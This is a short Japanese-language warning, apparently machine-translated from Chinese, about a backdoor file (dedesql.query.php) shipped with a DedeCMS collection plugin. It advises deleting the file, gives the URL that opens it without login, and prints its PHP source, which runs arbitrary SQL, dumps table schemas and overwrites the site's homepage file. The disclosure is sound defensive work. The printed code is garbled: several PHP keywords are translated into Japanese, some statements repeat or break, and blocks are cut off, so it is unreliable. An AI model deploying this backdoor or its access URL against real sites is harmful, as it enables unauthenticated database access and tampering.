公式バックドアを削除する方法: コレクション マスターをインストールした後、インクルード ディレクトリ内の dedesql.query.php ファイルをすぐに削除してください。ファイルの名前は arc.sqlquery.class.php に変更されている可能性があります。それを削除します。このファイルを使用すると、ログイン認証なしで Web サイトのデータベースにクエリを実行したり、データの更新、削除、クエリなどの操作を実行したりできます。私が言ったとおりであるかどうかを自分でテストすることもできます。方法は次のとおりです:
http://your domain name.com/include/dedesql.query.php.php?dopost=viewinfo
上記の URL を入力してくださいバックドアインターフェイスを開きます。
正直に言うと、最善の方法は、意図的にバックドアを残すプログラムを使用しないことです。このバックドアは発見されましたが、次のいわゆる新しいバージョンでさらにバックドアが登場するかどうかは神のみぞ知るです。このバックドア ファイルのコードは次のとおりです:
コードをコピーします コードは次のとおりです:
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename('dedesql.query.php','arc.sqlquery.class.php')){
エコー「成功!」;
}else{
echo "失败!";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名!";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute('me');
$row2 = $dsql->GetArray('me',MYSQL_BOTH);
$ctinfo = $row2[1];
echo "
".trim($ctinfo)."";
}
exit();
}
if($dopost=="index")
{
require_once(DEDEINC.'/arc.partview.class.php');
$envs = $_sys_globals = array();
$envs['aid'] = 0;
$pv = 新しい PartView();
$row = $pv->dsql->GetOne('Select * From `dede_homepageset`');
$templet = str_replace("{style}",$cfg_df_style,$row['templet']);
$homeFile = dirname(__FILE__).'/'.$row['position'];
$homeFile = str_replace("//","/",str_replace("\","/",$homeFile));
$fp = fopen($homeFile,'w') または die("無法更新网站主页到:$homeFile 位置");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "首页更新成功!";
終了();
}
else if($dopost=="query")
{
$sqlquery = トリム(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery))
{
echo "
'データベース' または 'データベース' の句はここでは実行できません。";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery) ) );
$dsql->Execute();
if($dsql->GetTotalRow(){
echo "SQL を実行します: {$sqlquery},なし 記録に戻ります! ";
}
else
{
echo "SQL を実行: {$sqlquery}、「.$dsql->GetTotalRow()」レコードがあり、最大 100 レコードが返されます。 ! ";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j ;
if($j>100 )
{
break;
}
echo "
";
echo "レコード: $j"; echo "
";
foreach($row as $k=>$v)
{
echo "
{$k}:
exit();
}
if ($querytype==2)
{
$sqlquery = str_replace("r","",$sqlquery);
$sqls = split(";[ t]{0,}n ", $sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = トリム($q);
if( $q=="")
{
続行;
$dsql->ExecuteNoneQuery($q); () );
if($errCode=="")
{
$i ;
}
else
{
$nerrCode .= "実行: < font color ='blue'>$q エラー、エラー メッセージ:
".$errCode."";
}
}
echo "{$i} SQL ステートメントが正常に実行されました。
";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = トリム($dsql->GetError());
echo "1 つの SQL ステートメントが正常に実行されました。
";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo '
SQL命令行工具 ';}
?>